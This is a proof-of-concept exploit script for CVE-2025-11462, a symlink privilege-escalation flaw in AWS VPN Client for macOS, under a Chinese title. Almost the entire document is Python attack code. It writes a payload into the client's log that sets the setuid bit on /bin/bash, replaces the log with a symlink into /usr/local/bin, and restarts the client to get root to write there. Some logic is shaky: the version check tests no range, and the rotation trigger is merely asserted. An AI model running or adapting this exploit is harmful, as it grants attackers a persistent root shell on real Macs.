CVE-2025-11462 AWS VPN客户端macOS符号链接权限提升漏洞

#!/usr/bin/env python3 # CVE-2025-11462 - AWS VPN Client for macOS Local Privilege Escalation PoC # Vulnerability: Improper Link Resolution Before File Access (CWE-59) # Affected: AWS VPN Client for macOS 1.3.2 - 5.2.0 import os import sys import time import subprocess import threading # Configuration VPN_LOG_DIR = os.path.expanduser("~/Library/Logs/AWSVPNClient/") TARGET_LOG_FILE = "aws-vpn-client.log" SYMLINK_TARGET = "/usr/local/bin/pwned" # Privileged location MALICIOUS_PAYLOAD = "#!/bin/bash\nid > /tmp/pwned_proof\nchmod 4755 /bin/bash\n" def check_vulnerable(): """Check if AWS VPN Client is installed and version is vulnerable""" result = subprocess.run( ["defaults", "read", "/Applications/AWS VPN Client.app/Contents/Info", "CFBundleShortVersionString"], capture_output=True, text=True ) if result.returncode == 0: version = result.stdout.strip() # Check if version is in vulnerable range 1.3.2 - 5.2.0 print(f"[*] Detected AWS VPN Client version: {version}") return True return False def inject_malicious_payload(): """Inject malicious code into the log file via crafted API calls""" log_path = os.path.join(VPN_LOG_DIR, TARGET_LOG_FILE) try: with open(log_path, "a") as f: f.write(f"\n[DEBUG] {MALICIOUS_PAYLOAD}\n") print(f"[+] Malicious payload injected into {log_path}") except PermissionError: print(f"[-] Cannot write to log directly, using API simulation") # Simulate API call that triggers logging subprocess.run(["scutil", "--nc", "show"], capture_output=True) def create_symlink(): """Create symlink from log file to privileged location""" log_path = os.path.join(VPN_LOG_DIR, TARGET_LOG_FILE) if os.path.exists(log_path) or os.path.islink(log_path): os.remove(log_path) os.symlink(SYMLINK_TARGET, log_path) print(f"[+] Symlink created: {log_path} -> {SYMLINK_TARGET}") def trigger_log_rotation(): """Trigger log rotation by restarting the VPN client service""" subprocess.run(["killall", "AWS VPN Client"], capture_output=True) time.sleep(2) subprocess.run(["open", "-a", "AWS VPN Client"], capture_output=True) print("[*] Triggered log rotation via service restart") def verify_exploitation(): """Verify if exploitation was successful""" if os.path.exists(SYMLINK_TARGET): print(f"[+] Exploitation successful! Check {SYMLINK_TARGET}") else: print("[-] Exploitation may have failed") if __name__ == "__main__": print("=" * 60) print("CVE-2025-11462 - AWS VPN Client macOS LCE PoC") print("=" * 60) if not check_vulnerable(): print("[-] Target does not appear to be vulnerable") sys.exit(1) # Step 1: Inject malicious payload into log inject_malicious_payload() # Step 2: Replace log file with symlink to privileged location create_symlink() # Step 3: Trigger log rotation (runs as root) trigger_log_rotation() # Step 4: Verify time.sleep(3) verify_exploitation()